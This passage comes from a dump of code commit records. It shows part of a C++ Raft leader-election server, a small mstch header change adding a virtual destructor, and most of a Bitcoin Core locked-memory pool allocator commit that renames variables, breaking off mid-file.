raft->votedFor.c_str());\n\t\t\traft->send_message(Raft::Message::RESPONSE_VOTE, remote_node.serialise() +\n\t\t\t\tserialise_string(\"0\") + serialise_string(std::to_string(raft->term)));\n\t\t} else if (raft->votedFor.empty()) {\n\t\t\traft->votedFor = lower_string(remote_node.name);\n\t\t\tL_RAFT(this, \"Vote for %s\", raft->votedFor.c_str());\n\t\t\traft->send_message(Raft::Message::RESPONSE_VOTE, remote_node.serialise() +\n\t\t\t\tserialise_string(\"1\") + serialise_string(std::to_string(raft->term)));\n\t\t} else {\n\t\t\tL_RAFT(this, \"Vote for %s\", raft->votedFor.c_str());\n\t\t\traft->send_message(Raft::Message::RESPONSE_VOTE, remote_node.serialise() +\n\t\t\t\tserialise_string(\"0\") + serialise_string(std::to_string(raft->term)));\n\t\t}\n\t}\n}\n\nvoid RaftServer::response_vote(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tif (remote_node == local_node && raft->state == Raft::State::CANDIDATE) {\n\t\tstd::string vote;\n\n\t\tif (unserialise_string(vote, &p, p_end) == -1) {\n\t\t\tL_RAFT(this, \"Badly formed message: No proper vote!\");\n\t\t\treturn;\n\t\t}\n\n\t\tif (vote == \"1\") {\n\t\t\t++raft->votes;\n\t\t\tL_RAFT(this, \"Number of servers: %d;  Votos received: %d\", raft->number_servers.load(), raft->votes);\n\t\t\tif (raft->votes > raft->number_servers \/ 2) {\n\t\t\t\tL_RAFT(this, \"It becomes the leader for region: %d\", local_node.region.load());\n\n\t\t\t\traft->state = Raft::State::LEADER;\n\t\t\t\traft->leader = lower_string(local_node.name);\n\n\t\t\t\tL_INFO(this, \"Raft: New leader is %s (1)\", raft->leader.c_str());\n\n\t\t\t\traft->start_heartbeat();\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\tstd::string str_remote_term;\n\t\tif (unserialise_string(str_remote_term, &p, p_end) == -1) {\n\t\t\tL_RAFT(this, \"Badly formed message: No proper term!\");\n\t\t\treturn;\n\t\t}\n\t\tuint64_t remote_term = std::stoull(str_remote_term);\n\n\t\tif (raft->term < remote_term) {\n\t\t\traft->term = remote_term;\n\t\t\traft->state = Raft::State::FOLLOWER;\n\t\t\treturn;\n\t\t}\n\t}\n}\n\nvoid RaftServer::heartbeat_leader(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tif (raft->leader != lower_string(remote_node.name)) {\n\t\tL_RAFT(this, \"Request the raft server's configuration!\");\n\t\traft->send_message(Raft::Message::REQUEST_DATA, local_node.serialise());\n\t}\n\tL_RAFT_PROTO(this, \"Listening %s's heartbeat in timestamp: %f!\", remote_node.name.c_str(), raft->last_activity);\n}\n\nvoid RaftServer::leader(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tif (raft->state == Raft::State::LEADER) {\n\t\tassert(remote_node == local_node);\n\t\treturn;\n\t}\n\n\tstd::string str_servers;\n\tif (unserialise_string(str_servers, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper number of servers!\");\n\t\treturn;\n\t}\n\traft->number_servers.store(std::stoull(str_servers));\n\n\tstd::string str_remote_term;\n\tif (unserialise_string(str_remote_term, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper term!\");\n\t\treturn;\n\t}\n\traft->term = std::stoull(str_remote_term);\n\n\traft->leader = lower_string(remote_node.name);\n\traft->state = Raft::State::FOLLOWER;\n\n\tL_INFO(this, \"Raft: New leader is %s (2)\", raft->leader.c_str());\n}\n\nvoid RaftServer::request_data(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\tif (raft->state == Raft::State::LEADER) {\n\t\tL_DEBUG(this, \"Sending Data!\");\n\t\traft->send_message(Raft::Message::RESPONSE_DATA, local_node.serialise() +\n\t\t\tserialise_string(std::to_string(raft->number_servers)) +\n\t\t\tserialise_string(std::to_string(raft->term)));\n\t}\n}\n\nvoid RaftServer::response_data(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tif (raft->state == Raft::State::LEADER) {\n\t\tL_CRIT(this, \"I'm leader, other responded as leader!\");\n\t\traft->reset();\n\t\treturn;\n\t}\n\n\tL_DEBUG(this, \"Receiving Data!\");\n\n\tstd::string str_servers;\n\tif (unserialise_string(str_servers, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper number of servers!\");\n\t\treturn;\n\t}\n\traft->number_servers.store(std::stoull(str_servers));\n\n\tstd::string str_remote_term;\n\tif (unserialise_string(str_remote_term, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper term!\");\n\t\treturn;\n\t}\n\traft->term = std::stoull(str_remote_term);\n\n\traft->leader = lower_string(remote_node.name);\n\n\tL_INFO(this, \"Raft: New leader is %s (3)\", raft->leader.c_str());\n}\n\nvoid RaftServer::reset(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\tif (local_node == remote_node) {\n\t\traft->reset();\n\t}\n}\n\n\nvoid\nRaftServer::io_accept_cb(ev::io &watcher, int revents)\n{\n\tL_EV_BEGIN(this, \"RaftServer::io_accept_cb:BEGIN\");\n\tif (EV_ERROR & revents) {\n\t\tL_EV(this, \"ERROR: got invalid raft event (sock=%d): %s\", raft->sock, strerror(errno));\n\t\tL_EV_END(this, \"RaftServer::io_accept_cb:END\");\n\t\treturn;\n\t}\n\n\tassert(raft->sock == watcher.fd || raft->sock == -1);\n\n\tif (revents & EV_READ) {\n\t\ttry {\n\t\t\tstd::string message;\n\t\t\tRaft::Message type = static_cast<Raft::Message>(raft->get_message(message, static_cast<char>(Raft::Message::MAX)));\n\t\t\tif (type != Raft::Message::HEARTBEAT_LEADER) {\n\t\t\t\tL_RAFT(this, \">> get_message(%s)\", Raft::MessageNames[static_cast<int>(type)]);\n\t\t\t}\n\t\t\tL_RAFT_PROTO(this, \"message: '%s'\", repr(message).c_str());\n\n\t\t\traft_server(type, message);\n\t\t} catch (...) {\n\t\t\tL_EV_END(this, \"RaftServer::io_accept_cb:END %lld\", now);\n\t\t\tthrow;\n\t\t}\n\t}\n\n\tL_EV_END(this, \"RaftServer::io_accept_cb:END %lld\", now);\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <memory>\n\n#include \"token.hpp\"\n\nnamespace mstch {\n\nclass render_context;\n\nclass render_state {\n public:\n  virtual std::string render(render_context& context, const token& token) = 0;\n};\n\n}\n<commit_msg>virtual destructor<commit_after>#pragma once\n\n#include <memory>\n\n#include \"token.hpp\"\n\nnamespace mstch {\n\nclass render_context;\n\nclass render_state {\n public:\n  virtual ~render_state() {}\n  virtual std::string render(render_context& context, const token& token) = 0;\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2016 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <support\/lockedpool.h>\n#include <support\/cleanse.h>\n\n#if defined(HAVE_CONFIG_H)\n#include <config\/bitcoin-config.h>\n#endif\n\n#ifdef WIN32\n#ifdef _WIN32_WINNT\n#undef _WIN32_WINNT\n#endif\n#define _WIN32_WINNT 0x0501\n#define WIN32_LEAN_AND_MEAN 1\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif\n#include <windows.h>\n#else\n#include <sys\/mman.h> \/\/ for mmap\n#include <sys\/resource.h> \/\/ for getrlimit\n#include <limits.h> \/\/ for PAGESIZE\n#include <unistd.h> \/\/ for sysconf\n#endif\n\n#include <algorithm>\n\nLockedPoolManager* LockedPoolManager::_instance = nullptr;\nstd::once_flag LockedPoolManager::init_flag;\n\n\/*******************************************************************************\/\n\/\/ Utilities\n\/\/\n\/** Align up to power of 2 *\/\nstatic inline size_t align_up(size_t x, size_t align)\n{\n    return (x + align - 1) & ~(align - 1);\n}\n\n\/*******************************************************************************\/\n\/\/ Implementation: Arena\n\nArena::Arena(void *base_in, size_t size_in, size_t alignment_in):\n    base(static_cast<char*>(base_in)), end(static_cast<char*>(base_in) + size_in), alignment(alignment_in)\n{\n    \/\/ Start with one free chunk that covers the entire arena\n    auto it = size_to_free_chunk.emplace(size_in, base);\n    chunks_free.emplace(base, it);\n    chunks_free_end.emplace(base + size_in, it);\n}\n\nArena::~Arena()\n{\n}\n\nvoid* Arena::alloc(size_t size)\n{\n    \/\/ Round to next multiple of alignment\n    size = align_up(size, alignment);\n\n    \/\/ Don't handle zero-sized chunks\n    if (size == 0)\n        return nullptr;\n\n    \/\/ Pick a large enough free-chunk. Returns an iterator pointing to the first element that is not less than key.\n    \/\/ This allocation strategy is best-fit. According to \"Dynamic Storage Allocation: A Survey and Critical Review\",\n    \/\/ Wilson et. al. 1995, http:\/\/www.scs.stanford.edu\/14wi-cs140\/sched\/readings\/wilson.pdf, best-fit and first-fit\n    \/\/ policies seem to work well in practice.\n    auto sizePtrIt = size_to_free_chunk.lower_bound(size);\n    if (sizePtrIt == size_to_free_chunk.end())\n        return nullptr;\n\n    \/\/ Create the used-chunk, taking its space from the end of the free-chunk\n    const size_t sizeRemaining = sizePtrIt->first - size;\n    auto alloced = chunks_used.emplace(sizePtrIt->second + sizeRemaining, size).first;\n    chunks_free_end.erase(sizePtrIt->second + sizePtrIt->first);\n    if (sizePtrIt->first == size) {\n        \/\/ whole chunk is used up\n        chunks_free.erase(sizePtrIt->second);\n    } else {\n        \/\/ still some memory left in the chunk\n        auto itRemaining = size_to_free_chunk.emplace(sizeRemaining, sizePtrIt->second);\n        chunks_free[sizePtrIt->second] = itRemaining;\n        chunks_free_end.emplace(sizePtrIt->second + sizeRemaining, itRemaining);\n    }\n    size_to_free_chunk.erase(sizePtrIt);\n\n    return reinterpret_cast<void*>(alloced->first);\n}\n\nvoid Arena::free(void *ptr)\n{\n    \/\/ Freeing the nullptr pointer is OK.\n    if (ptr == nullptr) {\n        return;\n    }\n\n    \/\/ Remove chunk from used map\n    auto i = chunks_used.find(static_cast<char*>(ptr));\n    if (i == chunks_used.end()) {\n        throw std::runtime_error(\"Arena: invalid or double free\");\n    }\n    std::pair<char*, size_t> freed = *i;\n    chunks_used.erase(i);\n\n    \/\/ Coalesc freed with previous chunk\n    auto prev = chunks_free_end.find(freed.first);\n    if (prev != chunks_free_end.end()) {\n        freed.first -= prev->second->first;\n        freed.second += prev->second->first;\n        size_to_free_chunk.erase(prev->second);\n        chunks_free_end.erase(prev);\n    }\n\n    \/\/ Coalesc freed with chunk after freed\n    auto next = chunks_free.find(freed.first + freed.second);\n    if (next != chunks_free.end()) {\n        freed.second += next->second->first;\n        size_to_free_chunk.erase(next->second);\n        chunks_free.erase(next);\n    }\n\n    \/\/ Add\/set space with coalesced free chunk\n    auto it = size_to_free_chunk.emplace(freed.second, freed.first);\n    chunks_free[freed.first] = it;\n    chunks_free_end[freed.first + freed.second] = it;\n}\n\nArena::Stats Arena::stats() const\n{\n    Arena::Stats r{ 0, 0, 0, chunks_used.size(), chunks_free.size() };\n    for (const auto& chunk: chunks_used)\n        r.used += chunk.second;\n    for (const auto& chunk: chunks_free)\n        r.free += chunk.second->first;\n    r.total = r.used + r.free;\n    return r;\n}\n\n#ifdef ARENA_DEBUG\nvoid printchunk(char* base, size_t sz, bool used) {\n    std::cout <<\n        \"0x\" << std::hex << std::setw(16) << std::setfill('0') << base <<\n        \" 0x\" << std::hex << std::setw(16) << std::setfill('0') << sz <<\n        \" 0x\" << used << std::endl;\n}\nvoid Arena::walk() const\n{\n    for (const auto& chunk: chunks_used)\n        printchunk(chunk.first, chunk.second, true);\n    std::cout << std::endl;\n    for (const auto& chunk: chunks_free)\n        printchunk(chunk.first, chunk.second, false);\n    std::cout << std::endl;\n}\n#endif\n\n\/*******************************************************************************\/\n\/\/ Implementation: Win32LockedPageAllocator\n\n#ifdef WIN32\n\/** LockedPageAllocator specialized for Windows.\n *\/\nclass Win32LockedPageAllocator: public LockedPageAllocator\n{\npublic:\n    Win32LockedPageAllocator();\n    void* AllocateLocked(size_t len, bool *lockingSuccess) override;\n    void FreeLocked(void* addr, size_t len) override;\n    size_t GetLimit() override;\nprivate:\n    size_t page_size;\n};\n\nWin32LockedPageAllocator::Win32LockedPageAllocator()\n{\n    \/\/ Determine system page size in bytes\n    SYSTEM_INFO sSysInfo;\n    GetSystemInfo(&sSysInfo);\n    page_size = sSysInfo.dwPageSize;\n}\nvoid *Win32LockedPageAllocator::AllocateLocked(size_t len, bool *lockingSuccess)\n{\n    len = align_up(len, page_size);\n    void *addr = VirtualAlloc(nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n    if (addr) {\n        \/\/ VirtualLock is used to attempt to keep keying material out of swap. Note\n        \/\/ that it does not provide this as a guarantee, but, in practice, memory\n        \/\/ that has been VirtualLock'd almost never gets written to the pagefile\n        \/\/ except in rare circumstances where memory is extremely low.\n        *lockingSuccess = VirtualLock(const_cast<void*>(addr), len) != 0;\n    }\n    return addr;\n}\nvoid Win32LockedPageAllocator::FreeLocked(void* addr, size_t len)\n{\n    len = align_up(len, page_size);\n    memory_cleanse(addr, len);\n    VirtualUnlock(const_cast<void*>(addr), len);\n}\n\nsize_t Win32LockedPageAllocator::GetLimit()\n{\n    \/\/ TODO is there a limit on windows, how to get it?\n    return std::numeric_limits<size_t>::max();\n}\n#endif\n\n\/*******************************************************************************\/\n\/\/ Implementation: PosixLockedPageAllocator\n\n#ifndef WIN32\n\/** LockedPageAllocator specialized for OSes that don't try to be\n * special snowflakes.\n *\/\nclass PosixLockedPageAllocator: public LockedPageAllocator\n{\npublic:\n    PosixLockedPageAllocator();\n    void* AllocateLocked(size_t len, bool *lockingSuccess) override;\n    void FreeLocked(void* addr, size_t len) override;\n    size_t GetLimit() override;\nprivate:\n    size_t page_size;\n};\n\nPosixLockedPageAllocator::PosixLockedPageAllocator()\n{\n    \/\/ Determine system page size in bytes\n#if defined(PAGESIZE) \/\/ defined in limits.h\n    page_size = PAGESIZE;\n#else                   \/\/ assume some POSIX OS\n    page_size = sysconf(_SC_PAGESIZE);\n#endif\n}\n\n\/\/ Some systems (at least OS X) do not define MAP_ANONYMOUS yet and define\n\/\/ MAP_ANON which is deprecated\n#ifndef MAP_ANONYMOUS\n#define MAP_ANONYMOUS MAP_ANON\n#endif\n\nvoid *PosixLockedPageAllocator::AllocateLocked(size_t len, bool *lockingSuccess)\n{\n    void *addr;\n    len = align_up(len, page_size);\n    addr = mmap(nullptr, len, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);\n    if (addr) {\n        *lockingSuccess = mlock(addr, len) == 0;\n    }\n    return addr;\n}\nvoid PosixLockedPageAllocator::FreeLocked(void* addr, size_t len)\n{\n    len = align_up(len, page_size);\n    memory_cleanse(addr, len);\n    munlock(addr, len);\n    munmap(addr, len);\n}\nsize_t PosixLockedPageAllocator::GetLimit()\n{\n#ifdef RLIMIT_MEMLOCK\n    struct rlimit rlim;\n    if (getrlimit(RLIMIT_MEMLOCK, &rlim) == 0) {\n        if (rlim.rlim_cur != RLIM_INFINITY) {\n            return rlim.rlim_cur;\n        }\n    }\n#endif\n    return std::numeric_limits<size_t>::max();\n}\n#endif\n\n\/*******************************************************************************\/\n\/\/ Implementation: LockedPool\n\nLockedPool::LockedPool(std::unique_ptr<LockedPageAllocator> allocator_in, LockingFailed_Callback lf_cb_in):\n    allocator(std::move(allocator_in)), lf_cb(lf_cb_in), cumulative_bytes_locked(0)\n{\n}\n\nLockedPool::~LockedPool()\n{\n}\nvoid* LockedPool::alloc(size_t size)\n{\n    std::lock_guard<std::mutex> lock(mutex);\n\n    \/\/ Don't handle impossible sizes\n    if (size == 0 || size > ARENA_SIZE)\n        return nullptr;\n\n    \/\/ Try allocating from each current arena\n    for (auto &arena: arenas) {\n        void *addr = arena.alloc(size);\n        if (addr) {\n            return addr;\n        }\n    }\n    \/\/ If that fails, create a new one\n    if (new_arena(ARENA_SIZE, ARENA_ALIGN)) {\n        return arenas.back().alloc(size);\n    }\n    return nullptr;\n}\n\nvoid LockedPool::free(void *ptr)\n{\n    std::lock_guard<std::mutex> lock(mutex);\n    \/\/ TODO we can do better than this linear search by keeping a map of arena\n    \/\/ extents to arena, and looking up the address.\n    for (auto &arena: arenas) {\n        if (arena.addressInArena(ptr)) {\n            arena.free(ptr);\n            return;\n        }\n    }\n    throw std::runtime_error(\"LockedPool: invalid address not pointing to any arena\");\n}\n\nLockedPool::Stats LockedPool::stats() const\n{\n    std::lock_guard<std::mutex> lock(mutex);\n    LockedPool::Stats r{0, 0, 0, cumulative_bytes_locked, 0, 0};\n    for (const auto &arena: arenas) {\n        Arena::Stats i = arena.stats();\n        r.used += i.used;\n        r.free += i.free;\n        r.total += i.total;\n        r.chunks_used += i.chunks_used;\n        r.chunks_free += i.chunks_free;\n    }\n    return r;\n}\n\nbool LockedPool::new_arena(size_t size, size_t align)\n{\n    bool locked;\n    \/\/ If this is the first arena, handle this specially: Cap the upper size\n    \/\/ by the process limit. This makes sure that the first arena will at least\n    \/\/ be locked. An exception to this is if the process limit is 0:\n    \/\/ in this case no memory can be locked at all so we'll skip past this logic.\n    if (arenas.empty()) {\n        size_t limit = allocator->GetLimit();\n        if (limit > 0) {\n            size = std::min(size, limit);\n        }\n    }\n    void *addr = allocator->AllocateLocked(size, &locked);\n    if (!addr) {\n        return false;\n    }\n    if (locked) {\n        cumulative_bytes_locked += size;\n    } else if (lf_cb) { \/\/ Call the locking-failed callback if locking failed\n        if (!lf_cb()) { \/\/ If the callback returns false, free the memory and fail, otherwise consider the user warned and proceed.\n            allocator->FreeLocked(addr, size);\n            return false;\n        }\n    }\n    arenas.emplace_back(allocator.get(), addr, size, align);\n    return true;\n}\n\nLockedPool::LockedPageArena::LockedPageArena(LockedPageAllocator *allocator_in, void *base_in, size_t size_in, size_t align_in):\n    Arena(base_in, size_in, align_in), base(base_in), size(size_in), allocator(allocator_in)\n{\n}\nLockedPool::LockedPageArena::~LockedPageArena()\n{\n    allocator->FreeLocked(base, size);\n}\n\n\/*******************************************************************************\/\n\/\/ Implementation: LockedPoolManager\n\/\/\nLockedPoolManager::LockedPoolManager(std::unique_ptr<LockedPageAllocator> allocator_in):\n    LockedPool(std::move(allocator_in), &LockedPoolManager::LockingFailed)\n{\n}\n\nbool LockedPoolManager::LockingFailed()\n{\n    \/\/ TODO: log something but how? without including util.h\n    return true;\n}\n\nvoid LockedPoolManager::CreateInstance()\n{\n    \/\/ Using a local static instance guarantees that the object is initialized\n    \/\/ when it's first needed and also deinitialized after all objects that use\n    \/\/ it are done with it.  I can think of one unlikely scenario where we may\n    \/\/ have a static deinitialization order\/problem, but the check in\n    \/\/ LockedPoolManagerBase's destructor helps us detect if that ever happens.\n#ifdef WIN32\n    std::unique_ptr<LockedPageAllocator> allocator(new Win32LockedPageAllocator());\n#else\n    std::unique_ptr<LockedPageAllocator> allocator(new PosixLockedPageAllocator());\n#endif\n    static LockedPoolManager instance(std::move(allocator));\n    LockedPoolManager::_instance = &instance;\n}\n<commit_msg>fix nits: variable naming, typos<commit_after>\/\/ Copyright (c) 2016 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <support\/lockedpool.h>\n#include <support\/cleanse.h>\n\n#if defined(HAVE_CONFIG_H)\n#include <config\/bitcoin-config.h>\n#endif\n\n#ifdef WIN32\n#ifdef _WIN32_WINNT\n#undef _WIN32_WINNT\n#endif\n#define _WIN32_WINNT 0x0501\n#define WIN32_LEAN_AND_MEAN 1\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif\n#include <windows.h>\n#else\n#include <sys\/mman.h> \/\/ for mmap\n#include <sys\/resource.h> \/\/ for getrlimit\n#include <limits.h> \/\/ for PAGESIZE\n#include <unistd.h> \/\/ for sysconf\n#endif\n\n#include <algorithm>\n\nLockedPoolManager* LockedPoolManager::_instance = nullptr;\nstd::once_flag LockedPoolManager::init_flag;\n\n\/*******************************************************************************\/\n\/\/ Utilities\n\/\/\n\/** Align up to power of 2 *\/\nstatic inline size_t align_up(size_t x, size_t align)\n{\n    return (x + align - 1) & ~(align - 1);\n}\n\n\/*******************************************************************************\/\n\/\/ Implementation: Arena\n\nArena::Arena(void *base_in, size_t size_in, size_t alignment_in):\n    base(static_cast<char*>(base_in)), end(static_cast<char*>(base_in) + size_in), alignment(alignment_in)\n{\n    \/\/ Start with one free chunk that covers the entire arena\n    auto it = size_to_free_chunk.emplace(size_in, base);\n    chunks_free.emplace(base, it);\n    chunks_free_end.emplace(base + size_in, it);\n}\n\nArena::~Arena()\n{\n}\n\nvoid* Arena::alloc(size_t size)\n{\n    \/\/ Round to next multiple of alignment\n    size = align_up(size, alignment);\n\n    \/\/ Don't handle zero-sized chunks\n    if (size == 0)\n        return nullptr;\n\n    \/\/ Pick a large enough free-chunk. Returns an iterator pointing to the first element that is not less than key.\n    \/\/ This allocation strategy is best-fit. According to \"Dynamic Storage Allocation: A Survey and Critical Review\",\n    \/\/ Wilson et. al. 1995, http:\/\/www.scs.stanford.edu\/14wi-cs140\/sched\/readings\/wilson.pdf, best-fit and first-fit\n    \/\/ policies seem to work well in practice.\n    auto size_ptr_it = size_to_free_chunk.lower_bound(size);\n    if (size_ptr_it == size_to_free_chunk.end())\n        return nullptr;\n\n    \/\/ Create the used-chunk, taking its space from the end of the free-chunk\n    const size_t size_remaining = size_ptr_it->first - size;\n    auto alloced = chunks_used.emplace(size_ptr_it->second + size_remaining, size).first;\n    chunks_free_end.erase(size_ptr_it->second + size_ptr_it->first);\n    if (size_ptr_it->first == size) {\n        \/\/ whole chunk is used up\n        chunks_free.erase(size_ptr_it->second);\n    } else {\n        \/\/ still some memory left in the chunk\n        auto it_remaining = size_to_free_chunk.emplace(size_remaining, size_ptr_it->second);\n        chunks_free[size_ptr_it->second] = it_remaining;\n        chunks_free_end.emplace(size_ptr_it->second + size_remaining, it_remaining);\n    }\n    size_to_free_chunk.erase(size_ptr_it);\n\n    return reinterpret_cast<void*>(alloced->first);\n}\n\nvoid Arena::free(void *ptr)\n{\n    \/\/ Freeing the nullptr pointer is OK.\n    if (ptr == nullptr) {\n        return;\n    }\n\n    \/\/ Remove chunk from used map\n    auto i = chunks_used.find(static_cast<char*>(ptr));\n    if (i == chunks_used.end()) {\n        throw std::runtime_error(\"Arena: invalid or double free\");\n    }\n    std::pair<char*, size_t> freed = *i;\n    chunks_used.erase(i);\n\n    \/\/ coalesce freed with previous chunk\n    auto prev = chunks_free_end.find(freed.first);\n    if (prev != chunks_free_end.end()) {\n        freed.first -= prev->second->first;\n        freed.second += prev->second->first;\n        size_to_free_chunk.erase(prev->second);\n        chunks_free_end.erase(prev);\n    }\n\n    \/\/ coalesce freed with chunk after freed\n    auto next = chunks_free.find(freed.first + freed.second);\n    if (next != chunks_free.end()) {\n        freed.second += next->second->first;\n        size_to_free_chunk.erase(next->second);\n        chunks_free.erase(next);\n    }\n\n    \/\/ Add\/set space with coalesced free chunk\n    auto it = size_to_free_chunk.emplace(freed.second, freed.first);\n    chunks_free[freed.first] = it;\n    chunks_free_end[freed.first + freed.second] = it;\n}\n\nArena::Stats Arena::stats() const\n{\n    Arena::Stats r{ 0, 0, 0, chunks_used.size(), chunks_free.size() };\n    for (const auto& chunk: chunks_used)\n        r.used += chunk.second;\n    for (const auto& chunk: chunks_free)\n        r.free += chunk.second->first;\n    r.total = r.used + r.free;\n    return r;\n}\n\n#ifdef ARENA_DEBUG\nvoid printchunk(char* base, size_t sz, bool used) {\n    std::cout <<\n        \"0x\" << std::hex << std::setw(16) << std::setfill('0') << base <<\n        \" 0x\" << std::hex << std::setw(16) << std::setfill('0') << sz <<\n        \" 0x\" << used << std::endl;\n}\nvoid Arena::walk() const\n{\n    for (const auto& chunk: chunks_used)\n        printchunk(chunk.first, chunk.second, true);\n    std::cout << std::endl;\n    for (const auto& chunk: chunks_free)\n        printchunk(chunk.first, chunk.second, false);\n    std::cout << std::endl;\n}\n#endif\n\n\/*******************************************************************************\/\n\/\/ Implementation: Win32LockedPageAllocator\n\n#ifdef WIN32\n\/** LockedPageAllocator specialized for Windows.\n *\/\nclass Win32LockedPageAllocator: public LockedPageAllocator\n{\npublic:\n    Win32LockedPageAllocator();\n    void* AllocateLocked(size_t len, bool *lockingSuccess) override;\n    void FreeLocked(void* addr, size_t len) override;\n    size_t GetLimit() override;\nprivate:\n    size_t page_size;\n};\n\nWin32LockedPageAllocator::Win32LockedPageAllocator()\n{\n    \/\/ Determine system page size in bytes\n    SYSTEM_INFO sSysInfo;\n    GetSystemInfo(&sSysInfo);\n    page_size = sSysInfo.dwPageSize;\n}\nvoid *Win32LockedPageAllocator::AllocateLocked(size_t len, bool *lockingSuccess)\n{\n    len = align_up(len, page_size);\n    void *addr = VirtualAlloc(nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n    if (addr) {\n        \/\/ VirtualLock is used to attempt to keep keying material out of swap. Note\n        \/\/ that it does not provide this as a guarantee, but, in practice, memory\n        \/\/ that has been VirtualLock'd almost never gets written to the pagefile\n        \/\/ except in rare circumstances where memory is extremely low.\n        *lockingSuccess = VirtualLock(const_cast<void*>(addr), len) != 0;\n    }\n    return addr;\n}\nvoid Win32LockedPageAllocator::FreeLocked(void* addr, size_t len)\n{\n    len = align_up(len, page_size);\n    memory_cleanse(addr, len);\n    VirtualUnlock(const_cast<void*>(addr), len);\n}\n\nsize_t Win32LockedPageAllocator::GetLimit()\n{\n    \/\/ TODO is there a limit on windows, how to get it?\n    return std::numeric_limits<size_t>::max();\n}\n#endif\n\n\/*******************************************************************************\/\n\/\/ Implementation: PosixLockedPageAllocator\n\n#ifndef WIN32\n\/** LockedPageAllocator specialized for OSes that don't try to be\n * special snowflakes.\n *\/\nclass PosixLockedPageAllocator: public LockedPageAllocator\n{\npublic:\n    PosixLockedPageAllocator();\n    void* AllocateLocked(size_t len, bool *lockingSuccess) override;\n    void FreeLocked(void* addr, size_t len) override;\n    size_t GetLimit() override;\nprivate:\n    size_t page_size;\n};\n\nPosixLockedPageAllocator::PosixLockedPageAllocator()\n{\n    \/\/ Determine system page size in bytes\n#if defined(PAGESIZE) \/\/ defined in limits.h\n    page_size = PAGESIZE;\n#else                   \/\/ assume some POSIX OS\n    page_size = sysconf(_SC_PAGESIZE);\n#endif\n}\n\n\/\/ Some systems (at least OS X) do not define MAP_ANONYMOUS yet and define\n\/\/ MAP_ANON which is deprecated\n#ifndef MAP_ANONYMOUS\n#define MAP_ANONYMOUS MAP_ANON\n#endif\n\nvoid *PosixLockedPageAllocator::AllocateLocked(size_t len, bool *lockingSuccess)\n{\n    void *addr;\n    len = align_up(len, page_size);\n    addr = mmap(nullptr, len, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);\n    if (addr) {\n        *lockingSuccess = mlock(addr, len) == 0;\n    }\n    return addr;\n}\nvoid PosixLockedPageAllocator::FreeLocked(void* addr, size_t len)\n{\n    len = align_up(len, page_size);\n    memory_cleanse(addr, len);\n    munlock(addr, len);\n    munmap(addr, len);\n}\nsize_t PosixLockedPageAllocator::GetLimit()\n{\n#ifdef RLIMIT_MEMLOCK\n    struct rlimit rlim;\n    if (getrlimit(RLIMIT_MEMLOCK, &rlim) == 0) {\n        if (rlim.rlim_cur != RLIM_INFINITY) {\n            return rlim.rlim_cur;\n        }\n    }\n#endif\n    return std::numeric_limits<size_t>::max();\n}\n#endif\n\n\/*******************************************************************************\/\n\/\/ Implementation: LockedPool\n\nLockedPool::LockedPool(std::unique_ptr<LockedPageAllocator> allocator_in, LockingFailed_Callback lf_cb_in):\n    allocator(std::move(allocator_in)), lf_cb(lf_cb_in), cumulative_bytes_locked(0)\n{\n}\n\nLockedPool::~LockedPool()\n{\n}\nvoid* LockedPool::alloc(size_t size)\n{\n    std::lock_guard<std::mutex> lock(mutex);\n\n    \/\/ Don't handle impossible sizes\n    if (size == 0 || size > 